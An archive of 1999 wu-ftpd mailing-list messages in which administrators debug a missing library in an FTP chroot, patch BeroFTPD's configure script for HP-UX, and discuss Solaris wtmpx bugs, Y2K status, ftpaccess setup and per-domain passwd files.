X-Sender: [email protected]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 8 Mar 1999, Greg Bulman - EST Contractor wrote:

> One of those, Uh, Oh Yeah, Duh steps. I had done the first step ...
> chroot ~ftp /bin/ls -l /etc
> which showed me the same bad results. Taking it a step further (the duh step)
> truss chroot ~ftp /bin/ls -l /etc
> quickly gave me the missing library ...
> open("/usr/lib/libmp.so.1", O_RDONLY) Err#2 ENOENT
>

Interesting. I am confused, because I thought that Err#2 ENOENT was an innocuous notification that the process in
question was simply trying to write to a pseudo-device, rather than a physical device. I didn't think that the
ENOENT message meant anything was actually wrong.

Perhaps this message serendipitously led you to the missing library file, but really didn't reflect a problem?

From [email protected] Tue Mar 9 13:20:53 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA20231;
Tue, 9 Mar 1999 13:20:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA24953;
Tue, 9 Mar 1999 13:14:29 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA15000
for <[email protected]>; Tue, 9 Mar 1999 13:08:35 -0600 (CST)
Received: from javelin.synopsys.com (javelin.synopsys.com [146.225.100.38])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id LAA08144;
Tue, 9 Mar 1999 11:07:04 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by javelin.synopsys.com (8.8.8/8.8.8) with SMTP id LAA06150;
Tue, 9 Mar 1999 11:07:03 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id LAA11763; Tue, 9 Mar 1999 11:07:01 -0800
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 11:07:01 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem getting numeric username/groups w/ ls
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: obJhQ4dLB26ATuNoBIN+jw==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I've always thought it meant ENOENT
||
Error \
NoEntity

In my uses of truss this as always held true and seems to here. The
file wasn't found (didn't exist), I made it exist and life was good again.

>From the man intro(2) ...
2 ENOENT No such file or directory

A file name is specified and the file should exist
but doesn't, or one of the directories in a path
name does not exist.

-gbulman

> On Mon, 8 Mar 1999, Greg Bulman - EST Contractor wrote:
>
> > One of those, Uh, Oh Yeah, Duh steps. I had done the first step ...
> > chroot ~ftp /bin/ls -l /etc
> > which showed me the same bad results. Taking it a step further (the duh
step)
> > truss chroot ~ftp /bin/ls -l /etc
> > quickly gave me the missing library ...
> > open("/usr/lib/libmp.so.1", O_RDONLY) Err#2 ENOENT
> >
>
> Interesting. I am confused, because I thought that Err#2 ENOENT was an
innocuous notification that the process in
> question was simply trying to write to a pseudo-device, rather than a physical
device. I didn't think that the
> ENOENT message meant anything was actually wrong.
>
> Perhaps this message serendipitously led you to the missing library file, but
really didn't reflect a problem?
>

From [email protected] Tue Mar 9 13:27:46 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA20491;
Tue, 9 Mar 1999 13:27:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02002;
Tue, 9 Mar 1999 13:21:03 -0600 (CST)
Received: from fatcat.inven.com (fatcat.inven.com [204.142.49.130])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA09441
for <[email protected]>; Tue, 9 Mar 1999 13:18:58 -0600 (CST)
Received: from mailnyc [195.1.2.68]
by fatcat.inven.com with esmtp (Exim 1.71 #1)
id 10KS2g-0003Fn-00; Tue, 9 Mar 1999 14:19:50 -0500
Received: by mailnyc with smtp (Exim 2.10)
id 10KS4A-0002jg-00; Tue, 9 Mar 1999 14:21:22 -0500
Message-Id: <Pine.GSO.3.96.990309141748.24351D-100000@mothra.newyork.inven.com>
Date: Tue, 9 Mar 1999 14:18:32 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: John-Paul Pagano <[email protected]>
To: Greg Bulman - EST Contractor <[email protected]>
Cc: [email protected]
Subject: Re: Problem getting numeric username/groups w/ ls
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: [email protected]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Okay. You definitely seem right. I just remember reading a lot of stuff about ENOENT coming up when a process
tries to write to a pseudo device, which, in a sense, is a missing physical device file...

A stretch, yes, but possibly true.

On Tue, 9 Mar 1999, Greg Bulman - EST Contractor wrote:

> I've always thought it meant ENOENT
> ||
> Error \
> NoEntity
>
> In my uses of truss this as always held true and seems to here. The
> file wasn't found (didn't exist), I made it exist and life was good again.
>
> >From the man intro(2) ...
> 2 ENOENT No such file or directory
>
> A file name is specified and the file should exist
> but doesn't, or one of the directories in a path
> name does not exist.
>
> -gbulman
>
> > On Mon, 8 Mar 1999, Greg Bulman - EST Contractor wrote:
> >
> > > One of those, Uh, Oh Yeah, Duh steps. I had done the first step ...
> > > chroot ~ftp /bin/ls -l /etc
> > > which showed me the same bad results. Taking it a step further (the duh
> step)
> > > truss chroot ~ftp /bin/ls -l /etc
> > > quickly gave me the missing library ...
> > > open("/usr/lib/libmp.so.1", O_RDONLY) Err#2 ENOENT
> > >
> >
> > Interesting. I am confused, because I thought that Err#2 ENOENT was an
> innocuous notification that the process in
> > question was simply trying to write to a pseudo-device, rather than a physical
> device. I didn't think that the
> > ENOENT message meant anything was actually wrong.
> >
> > Perhaps this message serendipitously led you to the missing library file, but
> really didn't reflect a problem?
> >
>

From [email protected] Tue Mar 9 13:59:01 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA21000;
Tue, 9 Mar 1999 13:59:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA06131;
Tue, 9 Mar 1999 13:53:26 -0600 (CST)
Received: from hahp9k02.harte-lyne.ca ([email protected] [209.47.131.103])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA19294
for <[email protected]>; Tue, 9 Mar 1999 13:47:45 -0600 (CST)
Received: from s02 (s02.brockley.harte-lyne.ca [209.47.131.111])
by hahp9k02.harte-lyne.ca (8.9.3/8.9.3) with SMTP id OAA23237;
Tue, 9 Mar 1999 14:47:43 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 14:46:44 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "James B. Byrne" <[email protected]>
To: [email protected],
"'[email protected]'"@nuinfo.nwu.edu,
[email protected], [email protected]
Subject: BeroFTPD 1.3.4 configure prob. (HPUX 11.00)
In-Reply-To: <[email protected]>
References: <6BEE6C82D85BD211B4E700805F85A25D329675@PHLWAYM1>; from "Elliott, Don" at Feb 22, 99 2:01 pm
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-pmrqc: 1
X-mailer: Pegasus Mail for Win32 (v3.01d)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I am trying to build BeroFTPD 1.3.4 on HP-UX 11.00 and I am
getting the following error when running config.

Error received from configure script:

> checking how to determine wtmpx file... configure: error:
> Cannot find out how to locate wtmpx file. Contact
> [email protected].

I have modified the configure.in to test for wtmp in utmp.h
where the definition for wtmp resides. The diff patch for
configure.in is attached. You will need to have autoconf on
your system to generate the new configure file.

*** 1.3.4/configure.in Tue Mar 9 13:24:01 1999
--- hpux11/configure.in Tue Mar 9 13:24:22 1999
***************
*** 606,613 ****
AC_TRY_COMPILE([#define _GNU_SOURCE
#include <utmpx.h>], [char *x=WTMP_FILENAME;],
WTMPX_FILE=WTMP_FILENAME)
if test "$WTMPX_FILE" = ""; then
! # some systems REALLY suck...
! AC_MSG_ERROR(Cannot find out how to locate
wtmpx file. Contact b
[email protected].)
fi
fi
fi
--- 606,618 ----
AC_TRY_COMPILE([#define _GNU_SOURCE
#include <utmpx.h>], [char *x=WTMP_FILENAME;],
WTMPX_FILE=WTMP_FILENAME)
if test "$WTMPX_FILE" = ""; then
! # This might be HPUX11 you know....
! AC_TRY_COMPILE([#define _GNU_SOURCE
! #include <utmp.h>], [char *x=WTMP_FILE;],
WTMPX_FILE=WTMP_FILE, WTMPX_FILE="")

! if test "$WTMPX_FILE" = ""; then
! # some systems REALLY suck...
! AC_MSG_ERROR(Cannot find out how to locate
wtmpx file. Contact
[email protected].)
! fi
fi
fi
fi

This produces a configure script that finds wtmp. However
when make is run an error in logwmtp.c occurs at lines 112
and 113. The error indicates that the e_termination and e_exit
structures are undefined. My knowledge of things unix is too
limited for me to fix this so I offer what I have discovered thus
far to others that may be able to help complete the puzzle for
me.

For what it is worth, the hpux 11.00 man pages on utmpx
caution against modifying the utmp and utmpx files directly
and direct programmers to use the pututline and pututxline
constructs instead. Both of these are notably absent from the
files in src.

Regards,
Jim

---
James B. Byrne Harte & Lyne Limited
vox: +1 905 561 1241 9 Brockley Drive
fax: +1 905 561 0757 Hamilton, Ontario
mailto:[email protected] Canada L8E 3C3

From [email protected] Tue Mar 9 14:37:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA21619;
Tue, 9 Mar 1999 14:37:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA31957;
Tue, 9 Mar 1999 14:32:29 -0600 (CST)
Received: from orr.pwgsc.gc.ca (orr.pwgsc.gc.ca [198.103.167.14])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA13940
for <[email protected]>; Tue, 9 Mar 1999 14:27:53 -0600 (CST)
Received: id OAA29375; Tue, 9 Mar 1999 14:41:11 -0500
Received: by gateway ???
Received: by gateway id OAA25635
for <[email protected]>; Tue, 9 Mar 1999 14:35:04 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 14:42:09 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Robertson, Rocke" <[email protected]>
To: wuftpd <[email protected]>
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Sorry, I jumped the gun, I am suffering from the same symptoms too.

~rocker

--
Rocke Robertson
PWGSC/GTIS
(613)991-2604
[email protected]

From [email protected] Tue Mar 9 15:10:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA22050;
Tue, 9 Mar 1999 15:10:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA03771;
Tue, 9 Mar 1999 15:04:57 -0600 (CST)
Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA23092
for <[email protected]>; Tue, 9 Mar 1999 14:59:16 -0600 (CST)
Received: from windsurf2 by molbio.unmc.edu (SMI-8.6/SMI-SVR4)
id PAA27741; Tue, 9 Mar 1999 15:03:35 -0600
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 14:59:42 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Chad Price <[email protected]>
To: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
Cc:

At 09:56 AM 3/9/1999 -0800, you wrote:
>Well Tommaso and Bob hit the nail on the head here.
>So much for my testing scenarios. I too confirm it isn't specific to wu-ftpd
>and the vendor supplied ftpd also behaves this way.
>
>I'll explore Sun's bug and patch reports and continue there. Thanks for
>everyone's 2nd eyes. For me, I'm considering this thread closed as far as
>as the wu-ftpd goes. If I find that the vendor has a patch that works with
>its fptd and wu-ftpd I'll post the info here and report to the Solaris
>specific wu-ftpd info maintainer.

I've been running Sol 2.4 since it came out, and the 'last' command has
never worked correctly, for ftpd or logins either one. wtmpx often fails
to close out sessions when the user logs out. As a result, I only use last
to see who logged in, not who/when the logout occurred.

When I first installed it, it was even worse, and they immediately told me
to patch the system. This fixed it to semi-compus mentis, but not to
working order. So I guess my conclusion is: ignore the wtmpx / last log
stuff on Solaris 2.4 (and other releases of Solaris too from what I see in
the comments), it's broken and always has been. I do of course stand ready
to be corrected (in this case, pointed to a patch which really does fix it.)

Chad

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email protected]
(402) 559-9527
(402) 559-4077 (FAX)

From [email protected] Tue Mar 9 16:08:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA22804;
Tue, 9 Mar 1999 16:08:35 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA25134;
Tue, 9 Mar 1999 16:03:12 -0600 (CST)
Received: from tower.ti.com (tower.ti.com [192.94.94.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA09405
for <[email protected]>; Tue, 9 Mar 1999 15:59:04 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by tower.ti.com (8.8.8) with ESMTP id PAA27411 for <[email protected]>; Tue, 9 Mar 1999 15:58:33 -0600 (CST)
Received: from hammer.asic.sc.ti.com (hammer.asic.sc.ti.com [172.24.159.18])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with ESMTP id PAA10578;
Tue, 9 Mar 1999 15:58:32 -0600 (CST)
Received: (from msar@localhost)
by hammer.asic.sc.ti.com (8.8.8+Sun/8.8.8) id PAA09409;
Tue, 9 Mar 1999 15:58:31 -0600 (CST)
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 15:58:31 -0600 (CST)
Reply-To: [email protected]
Sender: [email protected]
From: Mike Sargent <[email protected]>
To: [email protected]
Cc: [email protected] (Mike Sargent)
Subject: Y2K status for WU Anon ftp
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL23]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm new to this list so I apologize if I'm asking a question that
has been asked before .... but ... what is the Y2K status of the WU
Anonymous ftp server? What versions, if any are compliant, and what
versions have issues?

Thanks and Best regards,
Mike,

--
Chance favors the prepared mind - Pasteur
/\~ /\ O\
~/\/\/ \~ +--\\\ Michael W. Sargent, Texas Instruments,Inc.
~~ ~~~~~ ~~ | /|@ ASP System Admin Infrastructure Manager
/ \ \ ! \ \ Phone - 972.480.1133

From [email protected] Tue Mar 9 16:34:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA23207;
Tue, 9 Mar 1999 16:34:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA25502;
Tue, 9 Mar 1999 16:29:45 -0600 (CST)
Received: from tower.ti.com (tower.ti.com [192.94.94.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA04231
for <[email protected]>; Tue, 9 Mar 1999 16:26:32 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by tower.ti.com (8.8.8) with ESMTP id QAA07215 for <[email protected]>; Tue, 9 Mar 1999 16:26:01 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id QAA15348;
Tue, 9 Mar 1999 16:25:56 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Tue, 9 Mar 99 16:25:56 -0600
Message-Id: <[email protected]>
Date: Tue, 9 Mar 99 16:25:56 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Y2K status for WU Anon ftp
In-Reply-To: <[email protected]>; from "Mike Sargent" at Mar 9, 99 3:58 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Mike said :-
> I'm new to this list so I apologize if I'm asking a question that
> has been asked before .... but ... what is the Y2K status of the WU
> Anonymous ftp server? What versions, if any are compliant, and what
> versions have issues?

As I recall, at one point there was some code which added two digits for
the year after "19" before printing the date, but this was fixed to output
four digits some time ago.

Since the actual timing calls are standard UNIX, the values they return
should be Y2K compliant (but you might have some fun if you're still
sys-adminning in 2037....).

So as long as you're using the latest release (or anything after somewhere
around beta-15 or beta16 ?) you should be OK.

Hopefully Gregory will put me right if I've remembered incorrectly.

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Tue Mar 9 16:54:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id QAA23502;
Tue, 9 Mar 1999 16:54:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA03994;
Tue, 9 Mar 1999 16:49:08 -0600 (CST)
Received: from gatekeep.ti.com (gatekeep.ti.com [192.94.94.61])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA17981
for <[email protected]>; Tue, 9 Mar 1999 16:45:42 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by gatekeep.ti.com (8.8.8) with ESMTP id QAA22579 for <[email protected]>; Tue, 9 Mar 1999 16:45:11 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id QAA18526
for <[email protected]>; Tue, 9 Mar 1999 16:45:11 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Tue, 9 Mar 99 16:45:11 -0600
Message-Id: <[email protected]>
Date: Tue, 9 Mar 99 16:45:10 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Subject: Re: Y2K status for WU Anon ftp
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

>Mike said :-
>> I'm new to this list so I apologize if I'm asking a question that
>> has been asked before .... but ... what is the Y2K status of the WU
>> Anonymous ftp server? What versions, if any are compliant, and what
>> versions have issues?

I replied :-
>As I recall, at one point there was some code which added two digits for
>the year after "19" before printing the date, but this was fixed to output
>four digits some time ago.
>
>Since the actual timing calls are standard UNIX, the values they return
>should be Y2K compliant (but you might have some fun if you're still
>sys-adminning in 2037....).
etc...

Oops. This answer was potentially misleading. I believe that the specific
code in wuftpd is Y2K compliant, but the date/time calls it makes go through
the operating system. So whether the daemon is really Y2K OK depends on
the operating system on which you're running it. If the OS date/time calls
are Y2K compliant, then the daemon should be.

Apologies to the rest of the list for my earlier response - I happen to know
that Mike's ftp server runs on a UNIX box which should be compliant, and
that knowledge was implicit in my reply. But someone else reading my answer
could have been misled into thinking their server was OK when it might not be.

I'll go away now and let my neuron rest for a while...

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Wed Mar 10 09:55:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA03601;
Wed, 10 Mar 1999 09:55:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA16160;
Wed, 10 Mar 1999 09:49:06 -0600 (CST)
Received: from gatekeeper.dsg.com (gatekeeper.dsg.com [204.179.88.126])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA25285
for <[email protected]>; Wed, 10 Mar 1999 09:45:07 -0600 (CST)
Received: (from uucp@localhost) by gatekeeper.dsg.com (8.6.10/8.6.10) id JAA23722 for <[email protected]>; Wed, 10 Mar 1999 09:37:28 -0600
Received: from ares.dsg.com(204.179.89.129) by gatekeeper.dsg.com via smap (V1.3)
id sma023674; Wed Mar 10 09:37:06 1999
Received: from pluto.dsg.com (pluto [204.179.89.169])
by ares.dsg.com (8.8.5/8.8.5) with ESMTP id JAA13398
for <[email protected]>; Wed, 10 Mar 1999 09:44:24 -0600 (CST)
Received: by pluto.dsg.com with Internet Mail Service (5.5.2232.9)
id <F28KT9MV>; Wed, 10 Mar 1999 09:46:33 -0600
Message-Id: <[email protected]>
Date: Wed, 10 Mar 1999 09:46:31 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Ray Texter <[email protected]>
To: [email protected]
Subject: wu-ftpd with ftpaccess file....
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2232.9)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm running Ver. 2.4.2-academ of wu-ftpd on a solaris 2.7. I'm trying to
use the ftpaccess file. It doesn't seem to be working correctly.

I edit the etc/inetd.conf file and put in the -a to enable this. after this
I restart the service and there is no difference. I only have twi line in
my ftpaccess file for testing.

class all ftp,ftpusr
limit all any

If some one could shead some light on this that would be great.....

Thanx
Ray Texter

From [email protected] Wed Mar 10 11:25:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA04904;
Wed, 10 Mar 1999 11:25:02 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA18399;
Wed, 10 Mar 1999 11:18:41 -0600 (CST)
Received: from jester.ti.com (jester.ti.com [192.94.94.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA21713
for <[email protected]>; Wed, 10 Mar 1999 11:15:49 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by jester.ti.com (8.8.8) with ESMTP id LAA29767 for <[email protected]>; Wed, 10 Mar 1999 11:15:32 -0600 (CST)
Received: from hammer.asic.sc.ti.com (hammer.asic.sc.ti.com [172.24.159.18])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with ESMTP id LAA15395;
Wed, 10 Mar 1999 11:15:45 -0600 (CST)
Received: (from msar@localhost)
by hammer.asic.sc.ti.com (8.8.8+Sun/8.8.8) id LAA23359;
Wed, 10 Mar 1999 11:15:44 -0600 (CST)
Message-Id: <[email protected]>
Date: Wed, 10 Mar 1999 11:15:44 -0600 (CST)
Reply-To: [email protected]
Sender: [email protected]
From: Mike Sargent <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Y2K status for WU Anon ftp
In-Reply-To: <[email protected]> from "Bob Luckin" at Mar 9, 99 04:45:10 pm
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL23]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Bob,

Thanks for the quick response! If I had known you were on this mailing
list I would have just walked upstairs and asked you :^). By the way,
is the a "primary" web site (url) that addresses wuftpd issues?

Thanks and Best regards,
Mike

> >Mike said :-
> >> I'm new to this list so I apologize if I'm asking a question that
> >> has been asked before .... but ... what is the Y2K status of the WU
> >> Anonymous ftp server? What versions, if any are compliant, and what
> >> versions have issues?
>
> I replied :-
> >As I recall, at one point there was some code which added two digits for
> >the year after "19" before printing the date, but this was fixed to output
> >four digits some time ago.
> >
> >Since the actual timing calls are standard UNIX, the values they return
> >should be Y2K compliant (but you might have some fun if you're still
> >sys-adminning in 2037....).
> etc...
>
> Oops. This answer was potentially misleading. I believe that the specific
> code in wuftpd is Y2K compliant, but the date/time calls it makes go through
> the operating system. So whether the daemon is really Y2K OK depends on
> the operating system on which you're running it. If the OS date/time calls
> are Y2K compliant, then the daemon should be.
>
> Apologies to the rest of the list for my earlier response - I happen to know
> that Mike's ftp server runs on a UNIX box which should be compliant, and
> that knowledge was implicit in my reply. But someone else reading my answer
> could have been misled into thinking their server was OK when it might not be.
>
> I'll go away now and let my neuron rest for a while...
>
> Cheers, Bob
> --
> Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
> [http://www.dhc.net/~luckin/palindromes.html]
>

--
Chance favors the prepared mind - Pasteur
/\~ /\ O\
~/\/\/ \~ +--\\\ Michael W. Sargent, Texas Instruments,Inc.
~~ ~~~~~ ~~ | /|@ ASP System Admin Infrastructure Manager
/ \ \ ! \ \ Phone - 972.480.1133

From [email protected] Wed Mar 10 11:26:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA04932;
Wed, 10 Mar 1999 11:26:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA05321;
Wed, 10 Mar 1999 11:21:29 -0600 (CST)
Received: from ixgate01.dfnrelay.d400.de (ixgate01.dfnrelay.d400.de [193.174.248.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA14128
for <[email protected]>; Wed, 10 Mar 1999 11:16:12 -0600 (CST)
Message-Id: <[email protected]>
Date: Wed, 10 Mar 1999 18:17:21 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Andreas Zierott <[email protected]>
To: WU-FTPD Mailing List <[email protected]> (Non Receipt Notification Requested) (IPM Return Requested)
Subject: BeroFTPD passwd/shadow
Content-Identifier: 2E2336E6A921001
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

As there is no mailing archive of articles since beginning of this year
available I don't know if related problems were already discussed.

I want to set up BeroFTPD to use multiple virtual domains. For better
administration there should be a passwd/shadow file for each domain. I
created the files and put the passwd and shadow directives in the
appropriate ftpaccess file (both keywords are still undocumented in the
man pages). It looks like this

passwd /ftp/<domain>/etc/passwd
shadow /ftp/<domain>/etc/shadow

This works fine. But I use anonymous and guest accounts and set the root
directories with

anonymous-root /ftp/<domain>/home
guest-root /ftp/<domain>/home

After authentication the passwd/shadow files will be expected under the
chrooted directory (e.g. /ftp/<domain>/home/ftp/<domain>/etc/passwd).
Therefore they will not be found and the user's home directory cannot be
determined.
I could create a hard link there, so I only need to maintain one instead
of two passwd/shadow files. But isn't there a better way?
Or did I something wrong?

Another question: What is the current stable BeroFTPD? According to
documentation it is version 1.2.3 and not the current version 1.3.4
which should be regarded as experimental.

Thanx,
Andreas

--
Andreas Zierott
Deutscher Wetterdienst, Kaiserleistr 42, 63067 Offenbach/Main, Germany
Tel: +49 69 80622250, Fax: +49 69 80622801, eMail: [email protected]

From [email protected] Wed Mar 10 11:38:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA05097;
Wed, 10 Mar 1999 11:38:35 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA05931;
Wed, 10 Mar 1999 11:32:18 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA06458
for <[email protected]>; Wed, 10 Mar 1999 11:29:53 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA15938;
Wed, 10 Mar 1999 12:29:12 -0500
Message-Id: <[email protected]>
Date: Wed, 10 Mar 1999 12:29:12 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Andreas Zierott <[email protected]>
Cc: WU-FTPD Mailing List <[email protected]>
Subject: Re: BeroFTPD passwd/shadow
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 10 Mar 1999, Andreas Zierott wrote:

> As there is no mailing archive of articles since beginning of this
> year available I don't know if related problems were already
> discussed.

Not quite true. While the web-based forms have stopped working, the Unix
mailbox archives are working just fine (I just freshened by local copies
yesterday, so I'm sure).

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
